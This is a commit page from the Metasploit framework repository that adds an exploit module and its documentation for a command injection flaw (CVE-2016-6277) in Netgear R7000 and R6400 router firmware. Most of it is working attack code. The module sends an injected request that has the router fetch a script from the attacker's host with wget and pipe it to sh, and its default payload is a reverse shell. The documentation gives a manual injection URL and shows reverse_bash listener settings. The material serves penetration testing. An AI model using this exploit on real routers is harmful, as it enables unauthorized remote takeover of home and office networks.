Skip to content

Commit fe4f20c

Browse files
committed
Land rapid7#7968, NETGEAR R7000 exploit
2 parents 25bfa88 + 2e5ceab commit fe4f20c

File tree

2 files changed

+162
-0
lines changed

2 files changed

+162
-0
lines changed
Lines changed: 58 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,58 @@
1+
The netgear_r7000_cgibin_exec module exploits a command injection vulnerability in Netgear R7000 and R6400 router firmware version `1.0.7.2_1.1.93` and possibly earlier. The vulnerability is found in the `/cgi-bin/` folder of the router. A manual injection would look like so: `http://<RouterIP>/cgi-bin/;echo$IFS"cowsay"`. This will echo 'cowsay' on the router.
2+
3+
4+
## Vulnerable Application
5+
6+
Netgear R7000 and R6400 routers running firmware version `1.0.7.2_1.1.93` and possibly earlier.
7+
8+
## Verification Steps
9+
10+
1. Start msfconsole
11+
2. Do: `use exploit/linux/http/netgear_r7000_cgibin_exec`
12+
3. Do: `set RHOST <RouterIP>`
13+
4. Do: `set PAYLOAD <payload>`
14+
5. Do: `run`
15+
6. If the router is a R7000 or R6400, the module should run
16+
17+
## Options
18+
19+
**PAYLOAD**
20+
21+
The valid payloads are `cmd/unix` payloads _only_, as this is a command execution module
22+
23+
## Scenarios
24+
25+
Sample output of the options looks like so
26+
27+
```
28+
msf exploit(netgear_r7000_cgibin_exec) > options
29+
30+
Module options (exploit/linux/http/netgear_r7000_cgibin_exec):
31+
32+
Name Current Setting Required Description
33+
---- --------------- -------- -----------
34+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
35+
RHOST 192.168.1.1 yes The target address
36+
RPORT 80 yes The target port (TCP)
37+
SSL false no Negotiate SSL/TLS for outgoing connections
38+
VHOST no HTTP server virtual host
39+
40+
41+
Payload options (cmd/unix/reverse_bash):
42+
43+
Name Current Setting Required Description
44+
---- --------------- -------- -----------
45+
LHOST 192.168.153.34 yes The listen address
46+
LPORT 4444 yes The listen port
47+
48+
49+
Exploit target:
50+
51+
Id Name
52+
-- ----
53+
0 Automatic Target
54+
55+
msf exploit(netgear_r7000_cgibin_exec) >
56+
```
57+
58+
Lines changed: 104 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,104 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
10+
Rank = ExcellentRanking
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Exploit::CmdStager
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => "Netgear R7000 and R6400 cgi-bin Command Injection",
18+
'Description' => %q{
19+
This module exploits an arbitrary command injection vulnerability in
20+
Netgear R7000 and R6400 router firmware version 1.0.7.2_1.1.93 and possibly earlier.
21+
},
22+
'License' => MSF_LICENSE,
23+
'Platform' => 'linux',
24+
'Author' => ['thecarterb', 'Acew0rm'],
25+
'DefaultTarget' => 0,
26+
'Privileged' => true,
27+
'Arch' => ARCH_ARMLE,
28+
'Targets' => [
29+
[ 'Automatic Target', { } ]
30+
],
31+
'References' =>
32+
[
33+
[ 'EDB', '40889'],
34+
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=305'],
35+
[ 'URL', 'https://www.kb.cert.org/vuls/id/582384'],
36+
[ 'URL', 'http://kb.netgear.com/000036386/CVE-2016-582384'],
37+
[ 'CVE', '2016-6277']
38+
],
39+
'DisclosureDate' => 'Dec 06 2016',
40+
'DefaultOptions' =>
41+
{
42+
'PAYLOAD' => 'linux/armle/mettle_reverse_tcp'
43+
}
44+
))
45+
46+
register_options(
47+
[
48+
Opt::RPORT(80)
49+
], self.class)
50+
51+
deregister_options('URIPATH')
52+
end
53+
54+
def scrape(text, start_trig, end_trig)
55+
text[/#{start_trig}(.*?)#{end_trig}/m, 1]
56+
end
57+
58+
# Requests the login page which discloses the hardware, if it's an R7000 or R6400, return Detected
59+
def check
60+
res = send_request_cgi({'uri'=>'/'})
61+
if res.nil?
62+
fail_with(Failure::Unreachable, 'Connection timed out.')
63+
end
64+
# Checks for the `WWW-Authenticate` header in the response
65+
if res.headers["WWW-Authenticate"]
66+
data = res.to_s
67+
marker_one = "Basic realm=\"NETGEAR "
68+
marker_two = "\""
69+
model = scrape(data, marker_one, marker_two)
70+
vprint_status("Router is a NETGEAR router (#{model})")
71+
if model == 'R7000' || model == 'R6400'
72+
print_good("Router may be vulnerable (NETGEAR #{model})")
73+
return CheckCode::Detected
74+
else
75+
return CheckCode::Safe
76+
end
77+
else
78+
print_error('Router is not a NETGEAR router')
79+
return CheckCode::Safe
80+
end
81+
end
82+
83+
def exploit
84+
return if check == CheckCode::Safe
85+
86+
@cmdstager = generate_cmdstager(flavor: :wget, 'Path' => '/').join(';')
87+
88+
send_request_cgi(
89+
'method' => 'GET',
90+
'uri' => "/cgi-bin/;wget$IFS-O-$IFS'#{srvhost_addr}:#{srvport}'|sh"
91+
)
92+
end
93+
94+
# Return CmdStager on first request, payload on second
95+
def on_request_uri(cli, request)
96+
if @cmdstager
97+
send_response(cli, @cmdstager)
98+
@cmdstager = nil
99+
else
100+
super
101+
end
102+
end
103+
104+
end

0 commit comments

Comments
 (0)